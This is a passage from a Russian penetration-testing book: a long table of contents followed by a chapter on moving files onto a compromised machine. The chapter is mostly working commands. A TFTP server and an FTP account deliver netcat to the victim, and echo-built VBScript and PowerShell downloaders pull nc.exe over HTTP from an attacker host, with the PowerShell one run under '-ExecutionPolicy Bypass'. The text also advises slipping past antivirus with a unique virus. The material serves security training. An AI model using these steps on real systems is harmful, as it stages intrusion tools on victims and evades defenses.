
- •Благодарности
- •Список использованных сокращений
- •От издательства
- •Введение
- •Глава 1. Начало
- •Как провести аудит законно?
- •Методология взлома
- •Резюме
- •Глава 2. Получение информации из открытых источников
- •Введение
- •Что искать?
- •Использование Google для сбора информации
- •Ограничение поиска одним сайтом
- •Поиск файлов определенного типа
- •Поиск определенных частей сайта
- •Google Hacking
- •Поиск информации о людях
- •Архивные данные
- •Netcraft
- •Получение информации о домене
- •Автоматизация процесса
- •FOCA
- •Сбор базы данных адресов e-mail
- •recon-ng
- •Упорядочить информацию
- •Резюме
- •Глава 3. Получение информации от сетевых сервисов
- •Введение
- •Сканирование портов
- •Определение активных хостов
- •UDP-сканирование
- •NMAP
- •Получение информации от DNS-сервера
- •Типы записей
- •Взаимодействие с DNS-сервером
- •MX-записи
- •NS-запросы
- •Перебор имен
- •Перебор обратных записей
- •Передача зоны DNS
- •Получение информации с использованием SNMP
- •Получение информации с использованием NetBIOS
- •Null session
- •Работа с электронной почтой
- •Анализ баннеров
- •Получение информации от NTP-сервера
- •Поиск уязвимостей
- •Резюме
- •Глава 4. Атаки на веб-приложения
- •Знакомство с сookie
- •Межсайтовый скриптинг (XSS)
- •Включение локальных или удаленных файлов
- •SQL-инъекции
- •Резюме
- •Глава 5. Социальная инженерия
- •На кого обратить внимание?
- •Фазы атаки
- •Манипулирование людьми
- •Типы атак
- •Social-Engineer Toolkit
- •Резюме
- •Глава 6. Получаем пароли
- •Основные методы
- •Работа со списками паролей
- •Онлайн-атаки
- •Радужные таблицы
- •Резюме
- •Глава 7. Беспроводные сети
- •Краткий обзор Wi-Fi
- •Bluetooth
- •Резюме
- •Глава 8. Перехват информации
- •Пассивный перехват трафика
- •Активный перехват
- •Резюме
- •Глава 9. Обход систем безопасности
- •Системы обнаружения атак
- •Брандмауэры
- •Приманки
- •Резюме
- •Глава 10. Вредоносные программы
- •Вирусы
- •Черви
- •Шпионы
- •Рекламное ПО
- •Троянские кони
- •Практическая часть
- •Резюме
- •Глава 11. Metasploit Framework
- •Интерфейс
- •Вспомогательные модули
- •Полезная нагрузка
- •Практические навыки
- •Резюме
- •Глава 12. Передача файлов
- •TFTP
- •Загрузка файлов с использованием скриптов
- •Резюме
- •Глава 13. Превышение привилегий
- •Локальное повышение прав в Linux
- •Локальное повышение прав в Windows
- •Повышение привилегий в случае некорректной конфигурации прав доступа
- •Резюме
- •Глава 14. Перенаправление портов и туннелирование
- •Перенаправление портов
- •SSH-туннелирование
- •proxychains
- •Резюме
- •Глава 15. Переполнение буфера
- •Атаки, направленные на переполнение буфера
- •Введение
- •Что такое переполнение буфера?
- •Программы, библиотеки и бинарные файлы
- •Угрозы
- •Основы компьютерной архитектуры
- •Организация памяти
- •Разбиение стека (Smashing the stack)
- •Перезапись указателя фрейма
- •Атака возврата в библиотеку
- •Переполнение динамической области памяти
- •Пример нахождения уязвимости переполнения буфера
- •Резюме
- •Глава 16. Собирая все воедино
- •Стандарт выполнения тестов на проникновение
- •Подготовительная фаза
- •Договор о проведении работ
- •Получение разрешения
- •Сбор данных
- •Анализ уязвимостей
- •Моделирование
- •Эксплуатация уязвимостей
- •Постэксплуатационный этап
- •Отчет
- •Зачистка
- •Введение
- •Глава 17. Личный пример
- •Глава 18. Бумажная работа
- •Политика безопасности
- •Стандарты
- •Процедуры
- •Инструкции
- •Техническая документация
- •Глава 19. Обучение и тренировки
- •Тренировки
- •Глава 20. Защита от утечки информации
- •Глава 21. Брандмауэры
- •Глава 22. Системы обнаружения вторжения (IDS)
- •Глава 23. Виртуальные защищенные сети (VPN)
- •Компоненты виртуальной частной сети
- •Безопасность VPN
- •Создание VPN из компонентов с открытым исходным кодом
- •Заключение
12 Передача файлов
Зачастую после проведения успешной атаки на целевую систему появляется необходимость загрузить в нее один или несколько файлов. Это может быть все что угодно, например вирус, сниффер, клавиатурный шпион или шелл-код для эксплуатации очередной уязвимости. Однако это не всегда бывает просто, и в этой главе мы рассмотрим несколько вариантов достижения данной цели.
Прежде чем мы начнем, следует упомянуть одно серьезное препятствие, которое вы можете встретить на своем пути, — антивирус. В любой более-менее серьезной организации он по умолчанию устанавливается на все компьютеры и серверы. Основной принцип их работы — сравнение цифровой подписи файла с той, что содержится в их базе данных, и если совпадение будет найдено, то файл автоматически удаляется. Но это лишь полбеды, хуже, если антивирусы управляются централизованно, тогда администратор сети сразу же получит уведомление о происходящей атаке на систему. Есть два варианта обхода такого вида защиты. Первый способ: если вы решили загрузить, например, вирус, то лучше ему быть уникальным, а не созданным одним из бесчисленных генераторов. Второй способ — использовать легальные инструменты, которые не вызовут подозрений у антивируса.
Но остановимся на передаче файлов. После того как вы получили доступ к командной строке атакованной системы, первое, с чем вы столкнетесь, — это нехватка необходимых инструментов для управления и продолжения атаки. С UNIX-подобными системами проще, так как для скачивания вы всегда найдете такие утилиты, как wget, curl и netcat, а вот с Windows все немного сложнее.
TFTP
Это тривиальный протокол для передачи файлов. Он прост в реализации, не поддерживает аутентификацию и основан на транспортном протоколе UDP.
FTP работает в интерактивном режиме, и для его использования требуются определенные действия со стороны пользователя. Но, к сожалению, такой режим за-

FTP 171
частую недоступен сразу же после взлома системы, поэтому существует реальная необходимость использовать TFTP. Он хорош тем, что с ним можно работать в неинтерактивном режиме.
Для того чтобы скачать файл с TFTP-сервера, необходимо для начала создать последний. В Kali Linux присутствует встроенный сервер atftpd, запустим его на порте 69 и разместим в его директории netcat.
root@kali:~# mkdir /root/tftp
root@kali:~# atftpd --daemon –port 69 /root/tftp/
root@kali:~# cp /usr/share/windows-binaries/nc.exe /root/tftp/
Теперь загрузим netcat на скомпрометированную машину.
C:\Users\test>tftp -i 192.168.225.128 get nc.exe
Transfer successful: 59392 bytes in 16 second(s), 3712 bytes/s
FTP
FTP — это протокол передачи данных, работающий на основе TCP, он является более безопасным и функциональным по сравнению с TFTP. Еще одним его преимуществом является то, что клиент для работы с ним по умолчанию включен в ОС Windows.
Как и в предыдущем примере, начнем с конфигурации на своей машине сервера, поддерживающего данный протокол. В связи с тем что данный сервис обладает более широкой функциональностью, это займет немного больше времени.
root@kali:~# apt-get install pure-ftpd Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed: pure-ftpd-common
The following NEW packages will be installed: pure-ftpd pure-ftpd-common
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
...
update-rc.d: As per Kali policy, pure-ftpd init script is left disabled.
insserv: warning: current start runlevel(s) (empty) of script `pure-ftpd' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `pure-ftpd' overrides LSB defaults (0 1 6).
Processing triggers for systemd (231-9) ...
root@kali:~# groupadd ftpgroup
root@kali:~# useradd -g ftpgroup -d /dev/null -s /etc ftpuser root@kali:~# mkdir /home/ftpusers
root@kali:~# mkdir /home/ftpusers/joe
root@kali:~# pure-pw useradd joe -u ftpuser -d /home/ftpusers/joe Password: 123456
Enter it again: 123456

172 Глава 12 • Передача файлов
root@kali:~# pure-pw mkdb
root@kali:~# ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB root@kali:~# chown -hR ftpuser:ftpgroup /home/ftpusers/
root@kali:~# gksudo pureadmin root@kali:~# systemctl restart pure-ftpd
root@kali:~# cp /usr/share/windows-binaries/nc.exe /home/ftpusers/joe/ root@kali:~# ftp localhost
Connected to localhost.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed. 220-Local time is now 07:54. Server port: 21. 220-This is a private system — No anonymous login
220 You will be disconnected after 15 minutes of inactivity. Name (localhost:root): joe
331 User joe OK. Password required Password:123456
230 OK. Current directory is /
Итак, мы установили и сконфигурировали сервис, а также создали домашнюю директорию и пользователя. Напоследок мы протестировали наш сервер и убедились в его работоспособности.
Теперь создадим на скомпрометированной машине файл с набором команд, необходимых для загрузки файла. Без этого не обойтись в том случае, если нам не будет доступна командная строка, работающая в интерактивном режиме.
C:\Users\test>echo open 192.168.225.128 21> ftp.txt
C:\Users\test>echo joe>> ftp.txt
C:\Users\test>echo 123456>> ftp.txt
C:\Users\test>echo bin>> ftp.txt
C:\Users\test>echo GET nc.exe>> ftp.txt
C:\Users\test>echo bye>> ftp.txt
C:\Users\test>ftp -s:ftp.txt
Загрузка файлов с использованием скриптов
Загрузить файлы можно с использованием VB и PowerShell-скриптов. Для примера создадим скрипт, который не будет требовать от пользователя никаких дополнительных действий, а значит, он неинтерактивен. Данный скрипт загрузит заранее размещенный нами на веб-сервере файл, используя HTTP.
C:\Users\test>echo Sub HTTPDownload( myURL, myPath )> downloader.vbs C:\Users\test>echo ' Written by Rob van der Woude>> downloader.vbs C:\Users\test>echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg>> downloader. vbs
C:\Users\test>echo Const ForReading = 1, ForWriting = 2, ForAppending = 8>> downloader.vbs
C:\Users\test>echo Set objFSO = CreateObject( "Scripting.FileSystemObject" )>> downloader.vbs
C:\Users\test>echo If objFSO.FolderExists( myPath ) Then>> downloader.vbs C:\Users\test>echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL,

Резюме 173
"/" ) + 1 ) )>> downloader.vbs
C:\Users\test>echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) — 1 ) ) Then>> downloader.vbs
C:\Users\test>echo strFile = myPath>> downloader.vbs C:\Users\test>echo End If>> downloader.vbs
C:\Users\test>echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )>> downloader.vbs
C:\Users\test>echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )>> downloader.vbs
C:\Users\test>echo objHTTP.Open "GET", myURL, False>> downloader.vbs C:\Users\test>echo objHTTP.Send>> downloader.vbs
C:\Users\test>echo For i = 1 To LenB( objHTTP.ResponseBody )>> downloader.vbs C:\Users\test>echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )>> downloader.vbs
C:\Users\test>echo Next>> downloader.vbs C:\Users\test>echo objFile.Close( )>> downloader.vbs C:\Users\test>echo End Sub>> downloader.vbs
C:\Users\test>cscript downloader.vbs http://192.168.255.128/nc.exe nc.exe
В случае, если система жертвы работает под управлением ОС Windows 7, 2008 или более новой версии, можно написать скрипт для PowerShell, что значительно упростит работу.
C:\Users\test>echo $WebClient = New-Object System.Net.WebClient> downloader.ps2 C:\Users\test>echo $WebClient.DownloadFile("http://192.168.255.128/nc.exe "," C:\ Users\test\nc.exe")>> downloader.ps2
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile –File downloader.ps2
Резюме
TFTP — простой протокол передачи файлов, не поддерживает шифрование и аутен тификацию, работает при помощи UDP. Его преимущество в том, что он поддерживается большим количеством устройств и может работать в неинтерактивном режиме.
FTP — протокол передачи файлов, работает при помощи TCP. Предоставляет более широкий набор возможностей, однако работает только в интерактивном режиме, что не всегда удобно.
Вы также можете загрузить файлы на целевой сервер, используя PowerShell, VB или другие языки для написания скриптов.
Всегда учитывайте то, что на целевой системе может быть установлен антивирус, и даже если вы все сделали правильно, именно он может стать причиной вашей неудачи. Используйте специальные методы обхода антивирусов.